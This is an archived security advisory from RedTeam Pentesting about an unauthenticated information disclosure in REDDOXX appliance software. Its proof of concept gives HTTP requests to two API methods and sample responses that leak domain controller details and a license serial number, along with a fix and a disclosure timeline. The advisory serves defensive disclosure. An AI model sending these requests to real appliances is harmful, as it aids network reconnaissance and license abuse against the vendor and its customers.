exploit the possibilities

REDDOXX Appliance Information Disclosure

REDDOXX Appliance Information Disclosure
Posted Jul 1, 2019
Site redteam-pentesting.de

REDDOXX Appliance versions 2032-SP2 up to hotfix 51 suffer from an information disclosure vulnerability.

tags | exploit, info disclosure
MD5 | bceab1f0503b67a6767f8ab9104ece99

REDDOXX Appliance Information Disclosure

Change Mirror Download
Advisory: Information Disclosure in REDDOXX Appliance

RedTeam Pentesting discovered an Information Disclosure vulnerability in
the REDDOXX appliance software, which allows unauthenticated attackers
to gain information about the internal network the appliance is part of.


Details
=======

Product: REDDOXX Appliance
Affected Versions: 2032-SP2 up to hotfix 51
Fixed Versions: 2032-SP2 hotfix 53
Vulnerability Type: Information Disclosure
Security Risk: low
Vendor URL: https://www.reddoxx.com/
Vendor Status: patch available
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-012
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH


Introduction
============

"REDDOXX is a leading supplier of solutions for e-mail archiving,
encrypted and digitally signed e-mail traffic as well as spam
protection. Our focus is on technological innovation: taking our cue
from our clients’ requirements our competent and quality-conscious
employees strive to offer you the best possible products at all times.
Using stringent quality standards and proven processes we keep
developing our company and products continuously, with the goal of
continuous improvement."

(from the vendor's homepage)


More Details
============

Through the ISO provided on the vendor's homepage [1], it was possible
to analyze the files in a typical REDDOXX appliance [0] installation. It
was discovered that the API functions "CoreService.GetRealmList" and
"CoreService.GetLicense" are available without requiring authentication.
This allows attackers to get information about the configured
authentication mechanisms, for example Windows domain controllers if
Active Directory authentication is in use. Additionally, the REDDOXX
license serial number can be extracted.


Proof of Concept
================

All functions of this API require a parameter "id" with a UUID. For
this, the UUID provided by the system itself when using the login form
can be used, but any valid UUID will be accepted. The
"CoreService.GetRealmList" API function can be used as follows:

------------------------------------------------------------------------
POST /RdxEngine/json HTTP/1.1
Host: reddoxx.example.com
Content-Type: application/json

{"id":"{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}","method":"CoreService.GetRealmList","params":{"Directory": "/etc/"}}
------------------------------------------------------------------------

It provides details about the authentication realms, such as hostname and
port of the authentication server or the BaseDN for Active Directory/LDAP
authentication:

------------------------------------------------------------------------
{
"version": "1.1",
"id": "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}",
"result": {
"RealmList": [
{
"AuthServer": "",
"AuthType": "local",
"BaseDN": "",
"DisableSavePassword": false,
"ImportAddresses": false,
"Name": "local",
"SetPrimaryAddress": false,
"TcpPort": "0",
"UseTLS": false,
"WindowsDomain": ""
},
{
"AuthServer": "dc1.example.com",
"AuthType": "Windows 2003",
"BaseDN": "DC=example,DC=com",
"DisableSavePassword": false,
"ImportAddresses": true,
"Name": "example.com",
"SetPrimaryAddress": true,
"TcpPort": "389",
"UseTLS": false,
"WindowsDomain": "example.com"
},
{
"AuthServer": "dc2.example.com",
"AuthType": "Windows 2003",
"BaseDN": "DC=example,DC=net",
"DisableSavePassword": false,
"ImportAddresses": true,
"Name": "example.com",
"SetPrimaryAddress": true,
"TcpPort": "389",
"UseTLS": false,
"WindowsDomain": "example.com"
}
]
}
}
------------------------------------------------------------------------


The "CoreService.GetLicense" API call can be used as follows:

------------------------------------------------------------------------
POST /RdxEngine/json HTTP/1.1
Host: reddoxx.example.com
Content-Type: application/json

{"id":"{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}","method":"CoreService.GetLicense","params":{}}
------------------------------------------------------------------------

It provides details about the used license (serial number replaced by
random value for demonstration purposes):

------------------------------------------------------------------------
{
"version": "1.1",
"id": "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}",
"result": {
"License": {
"Activated": true,
"ActivationDate": "2000-01-01T12:34:56",
"ApplianceID": "1234",
"ArchiveLicenses": "10000",
"Cluster": false,
"Customer": "Example Ltd.",
"HasFullMaildepotLicense": true,
"HasFullSpamfinderLicense": true,
"HasMaildepotPremiumLicense": true,
"MailDepotImporterLicense": false,
"MailSealerLicenses": "10000",
"MailSealerSignatureLicense": false,
"MsxAgentLicenses": "10000",
"SerialNumber": "AIP1-EECA-EUKI-E6AH-OOGH-EI5Y",
"ServiceDate": "1899-12-30T00:00:00",
"SpamfinderLicenses": "10000",
"SubscriptionDate": "2020-01-30T12:34:56",
"Valid": true,
"VirusScan": true
}
}
}
------------------------------------------------------------------------


Workaround
==========

None


Fix
===

Install the latest hotfixes for the appliance, see [2].


Security Risk
=============

The risk of the information disclosure through the two API calls is
estimated to be low. Although the API calls should not be available
without authentication, "CoreService.GetRealmList" will only return
rudimentary information about the authentication realms and
"CoreService.GetLicense" is mostly a problem for the vendor, as the
serial number could be misused to set up a licensed application without
paying.


Timeline
========

2019-05-21 Vulnerability identified
2019-05-24 Customer approved disclosure to vendor
2019-06-04 Vendor notified
2019-06-05 Vendor acknowledges the vulnerability
2019-06-17 Vendor released hotfix
2019-06-24 Customer approved release
2019-07-01 Advisory released


References
==========

[0] https://www.reddoxx.com/en/
[1] https://my.reddoxx.com/documents/manual/en/custdl/product-downloads
(Requires login)
[2] https://appliance.docs.reddoxx.com/de/release-notes/release-notes-version-2032-service-pack-2-2-2-1242


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/


Working at RedTeam Pentesting
=============================

RedTeam Pentesting is looking for penetration testers to join our team
in Aachen, Germany. If you are interested please visit:
https://www.redteam-pentesting.de/jobs/


--
RedTeam Pentesting GmbH Tel.: +49 241 510081-0
Dennewartstr. 25-27 Fax : +49 241 510081-99
52068 Aachen https://www.redteam-pentesting.de
Germany Registergericht: Aachen HRB 14004
Geschäftsführer: Patrick Hof, Jens Liebchen

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

August 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    10 Files
  • 2
    Aug 2nd
    8 Files
  • 3
    Aug 3rd
    2 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    79 Files
  • 7
    Aug 7th
    16 Files
  • 8
    Aug 8th
    11 Files
  • 9
    Aug 9th
    10 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    6 Files
  • 12
    Aug 12th
    26 Files
  • 13
    Aug 13th
    15 Files
  • 14
    Aug 14th
    19 Files
  • 15
    Aug 15th
    52 Files
  • 16
    Aug 16th
    11 Files
  • 17
    Aug 17th
    1 Files
  • 18
    Aug 18th
    2 Files
  • 19
    Aug 19th
    18 Files
  • 20
    Aug 20th
    19 Files
  • 21
    Aug 21st
    17 Files
  • 22
    Aug 22nd
    9 Files
  • 23
    Aug 23rd
    3 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close